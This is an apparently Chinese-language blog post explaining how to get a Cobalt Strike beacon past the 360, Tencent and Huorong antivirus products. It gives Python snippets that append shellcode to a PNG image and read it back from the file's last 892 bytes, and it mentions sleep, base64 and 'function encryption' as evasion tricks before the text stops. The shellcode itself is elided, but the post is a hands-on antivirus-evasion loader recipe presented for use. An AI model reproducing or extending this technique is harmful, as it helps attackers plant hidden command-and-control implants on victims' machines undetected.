360，腾讯，火绒全过，正常上线Cobalt strike

主要使用的是图片马

首先创建一个给图片加马的脚本，准备一张照片，取名a.png

list = b"...shellcode"
png = open('a.png','ab+')#追加写入
png.write(list)
png.close()
print('写入完成')

在图片最后写入shellcode的二进制编码

然后创建一个读取马的脚本

png = open('a.png','rb')#二进制方式读取
shellcode = png.read()[-892:]#这里是shellcode的长度

然后给她睡一会也行，给她加个base64也行，这里我选择了python的一个奇怪的特性

一开始怎么加密都过不了火绒，然后就使用了函数加密